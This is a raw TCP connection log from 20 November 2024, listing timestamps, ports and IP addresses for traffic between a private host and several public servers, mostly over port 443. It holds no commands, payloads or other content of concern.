Nov 20, 2024 18:57:32.735563993 CET	443	49766	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.738457918 CET	49774	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.738481045 CET	443	49774	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.738631010 CET	49774	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.738785982 CET	49774	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.738801003 CET	443	49774	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.829824924 CET	443	49767	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.829914093 CET	443	49767	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.829981089 CET	49767	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.830135107 CET	49767	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.830151081 CET	443	49767	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.830174923 CET	49767	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.830180883 CET	443	49767	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.833012104 CET	49775	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.833046913 CET	443	49775	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.833121061 CET	49775	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.833281994 CET	49775	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.833298922 CET	443	49775	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.850464106 CET	443	49768	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.850534916 CET	443	49768	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.850728035 CET	49768	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.850761890 CET	49768	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.850773096 CET	443	49768	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.850788116 CET	49768	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.850795031 CET	443	49768	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.854047060 CET	49776	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.854070902 CET	443	49776	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.854156971 CET	49776	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.854357958 CET	49776	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.854371071 CET	443	49776	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.995435953 CET	443	49772	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.995503902 CET	443	49772	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.995645046 CET	49772	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.995764971 CET	49772	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.995779991 CET	443	49772	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.995789051 CET	49772	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.995795012 CET	443	49772	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.998651028 CET	49777	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.998687029 CET	443	49777	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:32.998775005 CET	49777	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.998959064 CET	49777	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:32.998977900 CET	443	49777	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:33.050050974 CET	80	49764	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:33.050195932 CET	49764	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:34.588150024 CET	443	49773	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:34.592859983 CET	49773	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:34.592873096 CET	443	49773	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:34.593409061 CET	49773	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:34.593414068 CET	443	49773	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:34.718173981 CET	443	49774	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:34.747344017 CET	49774	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:34.747375965 CET	443	49774	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:34.748074055 CET	49774	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:34.748080969 CET	443	49774	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:34.784405947 CET	443	49775	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:34.833271027 CET	49775	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:34.913043976 CET	443	49776	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:34.958705902 CET	49776	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:34.961503983 CET	443	49777	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:35.007900000 CET	49777	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:35.057496071 CET	443	49773	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:35.057607889 CET	443	49773	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:35.057667017 CET	49773	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:35.187242031 CET	443	49774	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:35.187457085 CET	443	49774	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:35.187520981 CET	49774	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:35.264400005 CET	49775	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:35.264426947 CET	443	49775	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:35.267271996 CET	49775	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:35.267280102 CET	443	49775	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:35.267415047 CET	49773	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:35.267431974 CET	443	49773	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:35.267446995 CET	49773	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:35.267453909 CET	443	49773	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:35.267607927 CET	49774	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:35.267636061 CET	443	49774	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:35.267647982 CET	49774	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:35.267654896 CET	443	49774	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:35.374113083 CET	49776	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:35.374145031 CET	443	49776	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:35.374701977 CET	49776	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:35.374708891 CET	443	49776	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:35.643600941 CET	443	49775	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:35.643687010 CET	443	49775	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:35.644153118 CET	49775	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:35.684267998 CET	49777	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:35.684294939 CET	443	49777	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:35.684778929 CET	49777	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:35.684787989 CET	443	49777	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:35.712609053 CET	443	49776	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:35.712929964 CET	443	49776	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:35.713078976 CET	49776	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:36.016180038 CET	443	49777	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:36.016987085 CET	443	49777	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:36.017038107 CET	49777	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:36.019083977 CET	49775	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:36.019119978 CET	443	49775	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:36.019139051 CET	49775	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:36.019148111 CET	443	49775	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:36.174520016 CET	49776	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:36.174628019 CET	443	49776	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:36.174675941 CET	49776	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:36.174695969 CET	443	49776	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:36.267407894 CET	49777	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:36.267431021 CET	443	49777	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:36.267467976 CET	49777	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:36.267476082 CET	443	49777	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:36.315538883 CET	49778	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:36.315601110 CET	443	49778	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:36.315694094 CET	49778	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:36.470540047 CET	49778	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:36.470566988 CET	443	49778	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:36.508030891 CET	49782	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:36.508054018 CET	443	49782	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:36.508119106 CET	49782	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:36.583631039 CET	49782	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:36.583662033 CET	443	49782	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:36.728257895 CET	49786	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:36.728290081 CET	443	49786	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:36.728368998 CET	49786	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:36.728955984 CET	49787	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:36.728995085 CET	443	49787	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:36.729038000 CET	49787	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:36.742288113 CET	49788	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:36.742314100 CET	443	49788	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:36.742376089 CET	49788	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:36.745131969 CET	49786	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:36.745160103 CET	443	49786	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:36.745280981 CET	49787	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:36.745296001 CET	443	49787	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:36.774739027 CET	49788	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:36.774758101 CET	443	49788	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:36.775777102 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:36.775846004 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:36.790218115 CET	49789	443	192.168.2.6	94.245.104.56
Nov 20, 2024 18:57:36.790276051 CET	443	49789	94.245.104.56	192.168.2.6
Nov 20, 2024 18:57:36.790347099 CET	49789	443	192.168.2.6	94.245.104.56
Nov 20, 2024 18:57:36.815706968 CET	49789	443	192.168.2.6	94.245.104.56
Nov 20, 2024 18:57:36.815732956 CET	443	49789	94.245.104.56	192.168.2.6
Nov 20, 2024 18:57:36.896347046 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:36.896365881 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:36.896461964 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:36.896472931 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:36.896837950 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:37.483494043 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:37.483598948 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:37.483669043 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:37.487813950 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:37.487926006 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:37.487978935 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:37.496537924 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:37.496694088 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:37.496752977 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:37.505181074 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:37.505278111 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:37.505331993 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:37.513835907 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:37.754498005 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:38.001498938 CET	49791	443	192.168.2.6	20.198.119.143
Nov 20, 2024 18:57:38.001527071 CET	443	49791	20.198.119.143	192.168.2.6
Nov 20, 2024 18:57:38.001620054 CET	49791	443	192.168.2.6	20.198.119.143
Nov 20, 2024 18:57:38.002248049 CET	49791	443	192.168.2.6	20.198.119.143
Nov 20, 2024 18:57:38.002263069 CET	443	49791	20.198.119.143	192.168.2.6
Nov 20, 2024 18:57:38.053061008 CET	80	49764	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:38.054172993 CET	49764	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:38.276571035 CET	443	49778	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:38.330131054 CET	49778	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:38.483971119 CET	443	49782	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:38.539774895 CET	49782	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:38.569288015 CET	49778	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:38.569319010 CET	443	49778	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:38.569808006 CET	49778	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:38.569813967 CET	443	49778	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:38.573561907 CET	49782	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:38.573590994 CET	443	49782	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:38.574038029 CET	49782	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:38.574047089 CET	443	49782	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:38.586384058 CET	443	49786	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:38.586985111 CET	443	49788	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:38.587753057 CET	443	49787	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:38.594243050 CET	49786	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:38.594274044 CET	443	49786	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:38.594361067 CET	49788	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:38.594383955 CET	443	49788	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:38.594806910 CET	49786	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:38.594819069 CET	443	49786	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:38.594918966 CET	49788	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:38.594927073 CET	443	49788	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:38.609349012 CET	49787	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:38.609373093 CET	443	49787	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:38.609857082 CET	49787	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:38.609862089 CET	443	49787	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:38.644047976 CET	443	49789	94.245.104.56	192.168.2.6
Nov 20, 2024 18:57:38.645088911 CET	49789	443	192.168.2.6	94.245.104.56
Nov 20, 2024 18:57:38.645101070 CET	443	49789	94.245.104.56	192.168.2.6
Nov 20, 2024 18:57:38.646162987 CET	443	49789	94.245.104.56	192.168.2.6
Nov 20, 2024 18:57:38.646218061 CET	49789	443	192.168.2.6	94.245.104.56
Nov 20, 2024 18:57:38.648798943 CET	49789	443	192.168.2.6	94.245.104.56
Nov 20, 2024 18:57:38.648869991 CET	443	49789	94.245.104.56	192.168.2.6
Nov 20, 2024 18:57:38.648983955 CET	49789	443	192.168.2.6	94.245.104.56
Nov 20, 2024 18:57:38.648993015 CET	443	49789	94.245.104.56	192.168.2.6
Nov 20, 2024 18:57:38.686666012 CET	49764	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:38.687254906 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:38.746623993 CET	49789	443	192.168.2.6	94.245.104.56
Nov 20, 2024 18:57:38.817310095 CET	80	49764	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:38.817327976 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:38.817414999 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:38.862346888 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:38.959712982 CET	443	49782	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:38.959796906 CET	443	49782	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:38.959845066 CET	49782	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.023993015 CET	49782	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.024013996 CET	443	49782	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.024029970 CET	49782	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.024039984 CET	443	49782	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.039268017 CET	443	49787	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.039347887 CET	443	49787	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.039423943 CET	49787	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.039685965 CET	443	49786	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.039855957 CET	443	49786	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.039904118 CET	49786	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.064780951 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:39.069169998 CET	443	49788	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.069339991 CET	443	49788	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.069467068 CET	49788	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.101206064 CET	49788	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.101236105 CET	443	49788	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.101253033 CET	49788	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.101259947 CET	443	49788	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.103948116 CET	49787	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.103972912 CET	443	49787	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.103988886 CET	49787	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.103996038 CET	443	49787	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.105612040 CET	49786	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.105634928 CET	443	49786	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.105648994 CET	49786	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.105654001 CET	443	49786	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.159229994 CET	443	49778	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.159307957 CET	443	49778	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.159368992 CET	49778	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.163229942 CET	443	49789	94.245.104.56	192.168.2.6
Nov 20, 2024 18:57:39.163502932 CET	443	49789	94.245.104.56	192.168.2.6
Nov 20, 2024 18:57:39.163564920 CET	49789	443	192.168.2.6	94.245.104.56
Nov 20, 2024 18:57:39.276344061 CET	49778	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.276366949 CET	443	49778	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.276398897 CET	49778	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.276407957 CET	443	49778	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.279212952 CET	49789	443	192.168.2.6	94.245.104.56
Nov 20, 2024 18:57:39.279236078 CET	443	49789	94.245.104.56	192.168.2.6
Nov 20, 2024 18:57:39.329169035 CET	49797	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.329190969 CET	443	49797	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.329359055 CET	49797	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.334842920 CET	49798	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.334870100 CET	443	49798	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.334953070 CET	49798	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.336883068 CET	49799	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.336895943 CET	443	49799	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.336950064 CET	49799	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.401012897 CET	49797	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.401026964 CET	443	49797	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.401854992 CET	49798	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.401869059 CET	443	49798	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.402146101 CET	49799	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.402157068 CET	443	49799	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.403666019 CET	49800	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.403688908 CET	443	49800	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.403762102 CET	49800	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.404005051 CET	49800	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.404021978 CET	443	49800	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.511936903 CET	49801	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.511969090 CET	443	49801	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.512026072 CET	49801	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.549885035 CET	49804	443	192.168.2.6	2.16.158.88
Nov 20, 2024 18:57:39.549909115 CET	443	49804	2.16.158.88	192.168.2.6
Nov 20, 2024 18:57:39.549974918 CET	49804	443	192.168.2.6	2.16.158.88
Nov 20, 2024 18:57:39.550131083 CET	49804	443	192.168.2.6	2.16.158.88
Nov 20, 2024 18:57:39.550147057 CET	443	49804	2.16.158.88	192.168.2.6
Nov 20, 2024 18:57:39.562266111 CET	49801	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:39.562294960 CET	443	49801	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:39.581365108 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:39.581383944 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:39.768714905 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:39.768907070 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:39.768918991 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:39.769020081 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:39.769028902 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:39.790472031 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:39.790524006 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:39.790580988 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:39.790803909 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:39.790816069 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:39.906727076 CET	49806	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:39.906752110 CET	443	49806	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:39.906816006 CET	49806	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:39.907303095 CET	49807	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:39.907326937 CET	443	49807	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:39.907377958 CET	49807	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:39.907748938 CET	49806	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:39.907761097 CET	443	49806	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:39.908808947 CET	49807	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:39.908821106 CET	443	49807	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:39.930119991 CET	49809	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:39.930130005 CET	443	49809	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:39.930282116 CET	49809	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:39.931225061 CET	49809	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:39.931237936 CET	443	49809	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:40.202774048 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:40.202858925 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:40.203177929 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:40.205176115 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:40.205323935 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:40.205418110 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:40.213856936 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:40.214000940 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:40.214137077 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:40.222970963 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:40.223033905 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:40.223123074 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:40.231156111 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:40.231215954 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:40.231295109 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:40.325896978 CET	443	49791	20.198.119.143	192.168.2.6
Nov 20, 2024 18:57:40.326033115 CET	49791	443	192.168.2.6	20.198.119.143
Nov 20, 2024 18:57:40.332398891 CET	49791	443	192.168.2.6	20.198.119.143
Nov 20, 2024 18:57:40.332422018 CET	443	49791	20.198.119.143	192.168.2.6
Nov 20, 2024 18:57:40.332796097 CET	443	49791	20.198.119.143	192.168.2.6
Nov 20, 2024 18:57:40.342737913 CET	49791	443	192.168.2.6	20.198.119.143
Nov 20, 2024 18:57:40.343727112 CET	49791	443	192.168.2.6	20.198.119.143
Nov 20, 2024 18:57:40.343735933 CET	443	49791	20.198.119.143	192.168.2.6
Nov 20, 2024 18:57:40.344918966 CET	49791	443	192.168.2.6	20.198.119.143
Nov 20, 2024 18:57:40.387331009 CET	443	49791	20.198.119.143	192.168.2.6
Nov 20, 2024 18:57:40.580485106 CET	49812	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:40.580523014 CET	443	49812	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:40.580663919 CET	49812	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:40.581324100 CET	49812	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:40.581331968 CET	443	49812	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:40.602948904 CET	49813	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:40.602987051 CET	443	49813	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:40.603054047 CET	49813	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:40.618176937 CET	49813	443	192.168.2.6	162.159.61.3
